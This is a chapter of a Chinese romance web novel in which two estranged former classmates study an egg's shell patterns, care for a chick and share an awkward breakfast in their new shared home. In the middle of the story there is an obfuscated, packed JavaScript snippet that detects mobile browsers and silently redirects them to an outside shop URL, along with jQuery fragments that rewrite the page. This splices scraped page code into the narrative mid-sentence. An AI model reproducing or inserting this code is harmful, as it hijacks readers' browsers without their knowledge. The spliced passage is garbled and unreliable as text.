宋锦路没接话,不知道该怎么接,也懒得接,只等着陆明檀适合可止。
谁知陆明檀越摸越起劲。
“善善是虚胖。”
“……”
“他羽毛多,身上并没太多肉。”
“……”
“羽毛很柔软,很浓密。”
“……”
“体型结构跟鸡差不多。”
“你到底要不要摸蛋壳纹路?”
直到忍无可忍,宋锦路发出质问,陆明檀又狡辩:“我有必要将善善摸清楚,或许他身上也有信息。”
“再顶嘴?”
陆明檀适可而止了,没再顶嘴,终于将手伸向了蛋壳内部。
宋锦路等了一会儿:“怎么样,有摸到纹路吗?”
“嗯,是有纹路,一个个凸起来的小点,你摸的时候是这样吗?”
“是这样。”宋锦路问,“你能摸出是个什么图案吗?”
陆明檀沉思:“好像是两条有点弯曲弧度的线?”
“……两条线?让我摸摸?”
宋锦路立刻蹲到陆明檀身边,等陆明檀将手拿出来后,马上伸进去摸索。
“好奇怪……虽然上次我是没摸出什么所以然,但纹路不一样了。”
宋锦路说:“上次我感觉是好几条线,真的,起码有三条。”
说着说着扭头看向陆明檀,结果超近距离撞进陆明檀直勾勾的眼眸,赶紧往边上挪了两步。
避嫌。
保持仇人型队友该有的社交距离。
但陆明檀的视线不避不让,仍直勾勾地望着宋锦路,仿佛这样再正常不过,是介意的宋锦路心里有鬼。
宋锦路只能绷直上身,假装自己不介意没受影响:“……真的,我确定图案不一样了。”
“嗯。”陆明檀应道,“我相信你。”
“……”
“就算你记错了,这点也值得我们观察,如果纹路形成的图案真产生变化,很有可能就是重要信息。”
一秒诡异,一秒正经。
陆明檀切换自如,又严肃认真地说下去:“我指着蛋壳纹路的位置形状来描述,你来录视频,记忆可能会模糊,有视频更方便之后进行对比。”
不得不承认,这是个聪明的好主意。
宋锦路咬牙切齿不甘承认,自我挣扎十几秒后:“……好。”
就是原本还想晚上开直播打游戏放松一下,没想到录视频成了个大工程。
之前宋锦路只囫囵吞枣地摸了摸,摸不出是什么就没太往心里去。
这次跟陆明檀一起认真摸了个遍,震惊地发现纹路几乎布满大半个蛋壳。
一边摸一边描述,还在外壳用笔做了记号,但因为纹路范围太大了,录完视频依旧不能确定是个什么。
另一方面,宋锦路哈欠连天,困得不行,大脑也停止思考,只想睡觉。
“差不多了,明天有空再研究,也不着急这一时了,你先去睡吧。”
宋锦路爽快应下:“好,那善善今晚就交给你了。”
“嗯,交给我。”
“……”
很想折腾陆明檀又不愿太昧良心,顿了顿后,宋锦路还是说:“……别怪我没提醒你,善善很可能半夜或凌晨醒来蹦迪,你得有这个心理准备。”
“好,我有心理准备了。”
“……”
宋锦路便起身先往二楼走,但又觉得别扭,陆明檀还在原处没动,他好像能感受到陆明檀强烈盯着他的视线,如芒在背。
走到楼梯口,手刚搭上扶手,宋锦路再忍不住,猛地一个大回头,果然看到陆明檀在盯着自己。
。
这谁能忍啊。
“……你盯着我做什么?!”
陆明檀却全然没有被抓包的尴尬,嘴角似乎还泛起一丝若隐若现的笑意。
但两人隔的有些距离了,这样的小细节宋锦路也不能很确定。
“这里就我们两个人,环境是静态的,只有你在动,视线自然会被动态事物吸引。”
“……”
“那你呢,回头是想跟我说什么吗?”
没想到还被陆明檀反将一军。
宋锦路能怎么说,总不能说自己感受到他强烈刺激的视线了吧,那成什么了?
所幸紧急关头,宋锦路想到一个极佳借口:“……我是想问问你,明天你是怎样的工作安排。”
借口也是实话。
因为宋锦路还要去医院。
虽然目前仍所未知陆明檀到底什么工作,但能跟他分担带娃任务就行。
宋锦路说:“明天我爸要动手术,我带善善过去肯定不方便……只能让你带着了,你方便请假吗?”
陆明檀道:“我可以在家办公,就是同事们可能要过来这边了,你介意吗?”
宋锦路眨眨眼:“……这是你家吧?”
怎么还问他介不介意了?
“是我家没错,但现在我们生活在一起了,要让双方都舒服才好。”
“……”
狗东西还挺会说话。
宋锦路也就很难再保持尖锐,缓和了语气:“……可以,我不介意。”
“好。”
“……嗯,那我去睡了。”
“嗯,晚安。”
“……”
不对。
真的很不对……
怎么还道上晚安了?
难道他说的话也有问题?
怎么每次都能让陆明檀如此理所当然地接上这些?
很想呛陆明檀一句,说好的自知之明呢,能不能有点自觉,别总这么蹭鼻子上脸——但想到说多错多,万一又被钻进什么漏洞,宋锦路还是决定作罢。
不管陆明檀是不是还在盯着他了,宋锦路一口气回到房间,关门落锁,倒在床上躺平。
哎。
这一天真是跌宕起伏。
望着陌生的房间,适应着全新的环境,宋锦路还是不敢置信,自己不仅跟陆明檀重逢相见,还在当天就搬到了一起生活。
而多年来积压在心底的种种不甘怨念,在见到陆明檀本人后,实际发作的居然并不多。
曾经想象中恨不得将陆明檀大卸八块,五马分尸,可当陆明檀从仇恨的回忆中走到现实,宋锦路竟能平静地跟他对话交谈……还敢跟他住到一起。
哪怕宋锦路并不完全相信陆明檀给的解释,可不得不承认,时间终究愈合了很多创口。
所以就这样吧。
先走着,走一步算一步吧。
宋锦路没再打游戏,蒙头就睡。
本来还担心换了新地方会睡不着,但这一天实在太累,早上那么早就起床,又发生这么多事,身体早已超负荷运行。
闭上眼睛没一会儿,宋锦路直接失去意识,连梦都没做,一觉睡到第二天早上九点。
醒来神清气爽,就是有点懵,反应好一会儿后,才记起搬家的事,浑身酸痛地从床上起来。
他真跟陆明檀重逢,还跟陆明檀住到一起了……
竟能让这两件事同时发生,他简直太厉害了……
所以昨天脑子是被驴踢了吗?<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17252790|197598||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>现实还敢再魔幻些吗?
但又必须承认,没有小家伙半夜蹦迪就是舒服,无梦无醒的整觉简直太爽了。
唯一不足是有点睡过头,宋经康早上十点的手术,他得赶紧去医院了。
赶紧洗漱换衣,三分钟后,宋锦路一身清爽地走出房间——
接着下楼遇上陆明檀。
陆明檀穿着家居服,平静地跟他打招呼:“早。”
再度接受现实一秒。
覆水难收。
“……早。”
宋锦路浑身有点微妙的僵直,看了看周围:“善善呢?还没起床吗?”
“嗯,他还在睡。”
哪里来的小鸟猪。
昨天下午睡了这么久,现在居然还没起。
宋锦路又问:“昨晚他睡得乖吗,后来有起来闹腾吗?”
“睡得很乖。”陆明檀说,“一直睡到现在,中途并没有醒过。”
“…………”
宋锦路破防了。
宋锦路直接原地大破防。
这是什么意思?
什么意思!
这只臭小鸡!
跟自己睡时总在半夜闹腾!动不动还要在他脸上来个滑铲!
怎么跟陆明檀睡时就变乖了?!
嗯?!
这合理吗!
宋锦路也没想到自己会如此破防,可现实就是如此,道心仅在瞬间破碎。
连陆明檀都看出了他的不对劲:“你怎么了?”
宋锦路又不能将丑陋的忮忌心展露出来,只能强颜欢笑:“没怎么啊……那不是挺好的吗,没闹腾就好……”
“嗯,善善很乖。”
“……”
够了。
不要再说了,宋锦路真要碎了。
“对了,你吃早饭吗?”陆明檀问,“你想吃什么,我给你做。”
“……”
如果不是所处场景以及他们之间的关系不对,宋锦路都想夸一句贤惠了。
起床就有人准备早餐,这种好日子以前他想都不敢想。
但此刻只能拒绝:“……不了,我得出门了,来不及慢慢吃了。”
“那等一下。”
陆明檀转身去了厨房,随后拿着一个面包出来。
“这个恰巴塔你拿着路上吃吧。”
“这是你的早餐吧?”宋锦路没接,婉拒道,“没事,我路上随便买点就好。”
“家里还有,我热一下很快的,你路上才不好买。”
陆明檀递到他手边:“不是着急出门吗,拿着吧。”
“……”
面包特意用透明盒子装起来了,宋锦路只是手背碰到,就感到很热乎乎,而且仔细一看,面包胚中间还加了牛肉片跟鸡蛋馅。
显然是陆明檀刚做完的。
宋锦路并不想收,吃人嘴短,但浅思两秒后,又果断决定接受。
算了,跟陆明檀客气什么。
他就应该住陆明檀的,吃陆明檀的,让陆明檀后悔擅自给他搬家。
以前陆明檀是他的报应,现在轮到他来当陆明檀的报应了。
“……好吧,那多谢了,我走了。”
“嗯,路上小心。”陆明檀说,“白天有空的话,可以发消息告诉我晚上想吃什么,我给你做。”
“……”
陆明檀是在cos贤惠的妻子吗?
别说,还挺逼真。
又逼真又叫宋锦路毛骨悚然。
宋锦路含糊应了声知道后,赶紧走了,仿佛什么心虚的丈夫。